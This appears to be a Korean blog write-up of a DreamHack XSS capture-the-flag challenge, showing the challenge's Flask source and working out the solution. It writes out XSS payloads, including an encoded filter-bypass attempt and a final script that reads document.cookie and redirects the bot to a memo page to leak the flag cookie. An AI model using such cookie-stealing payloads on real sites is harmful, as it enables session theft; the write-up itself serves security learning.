일단 3개의 페이지가 나오는데 돌아가면서 구경을 좀 했다.
xss는 코드를 주입하는 부분이고, memo는 입력된 코드를 볼수 있는데 flag에서 입력을 하면 다 hello로 나온다.
memo 에 가서 hello 대신 스크립트를 넣어주면 되겠다고 생각했다
?memo = <script>alert(FLAG);</script> 이렇게 넣어주려고 했는데, 해당 문자열이 필터링 당하는 것 같다.
"<" --> "<" 로 변경된다. 이걸 인코딩해서 보내주면 해결할 수 있다고 한다.
?memo=%26%23x003C;script%26%23x003E;alert(FLAG)%26%23x003C;/script%26%23x003E;
이것도 이상하게 나와서 주어진 코드를 볼 필요가 있다고 생각했다.
코드를 보자.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
def read_url(url, cookie={'name': 'name', 'value': 'value'}):
#url = <script>document.location.href="http://host1.dreamhack.games:17868/memo?memo=12"</script>
cookie.update({'domain':'127.0.0.1'})
try:
options = webdriver.ChromeOptions()
for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
options.add_argument(_)
driver = webdriver.Chrome('/chromedriver', options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get('http://127.0.0.1:8000/')
driver.add_cookie(cookie)
driver.get(f'http://127.0.0.1:8000/xss?xss={urllib.parse.quote(url)}') # url encoding &
except:
driver.quit()
return False
driver.quit()
return True
@app.route('/')
def index():
return render_template('index.html')
@app.route('/xss')
def xss():
xss = request.args.get('xss', '')
return xss
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if request.method == 'GET':
return render_template('flag.html')
elif request.method == 'POST':
xss = request.form.get('xss')
#read_url(url,cookie)
if not read_url(xss, {'name': 'flag', 'value': FLAG}):
#read_url("host1.dreamhack.games:13714/memo?memo=<script>alert("1")</script>",{'name':'flag','value':FLAG})
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ''
@app.route('/memo')
def memo():
global memo_text
text = request.args.get('memo', None)
if text:
memo_text += text.replace('<', '<') + '\n'
return render_template('memo.html', memo=memo_text)
app.run(host='0.0.0.0', port=8000)
서버사이드에서 memo에 무언가를 적어주는 기능을 한다. --> read_url() 함수.
즉 우리는 해당 함수가 있는 /flag 부분에서 xss 작업을 해줘야 한다.
read_url 함수를 읽어보면 쿠키값을 입력해 주는데, 우리가 원하는 flag 값은 쿠키에 들어있다. 즉 우리는 쿠키값을 출력해서 memo에 적히도록 해야한다.
쿠키값을 출력하는 것은 document.cookie로 해결하고 이제 메모에 적히도록 하려면, 메모에 이동해야 한다.
즉 쿼리가 다음과 같아야 한다.
<script>window.location.href=dreamhack.games:_____/memo?memo=''+document.cookie;</script> 로 주어야 한다.
DH{<-----flag----->}
'WriteUp > DreamHack' 카테고리의 다른 글
Dreamhack : csrf-1 (0) | 2020.11.23 |
---|---|
DreamHack : Basic ROP x64 (0) | 2020.11.19 |
DreamHack : ssp_001 (0) | 2020.11.19 |
DreamHack : ssp_000 (0) | 2020.11.19 |
DreamHack : Sint (0) | 2020.11.19 |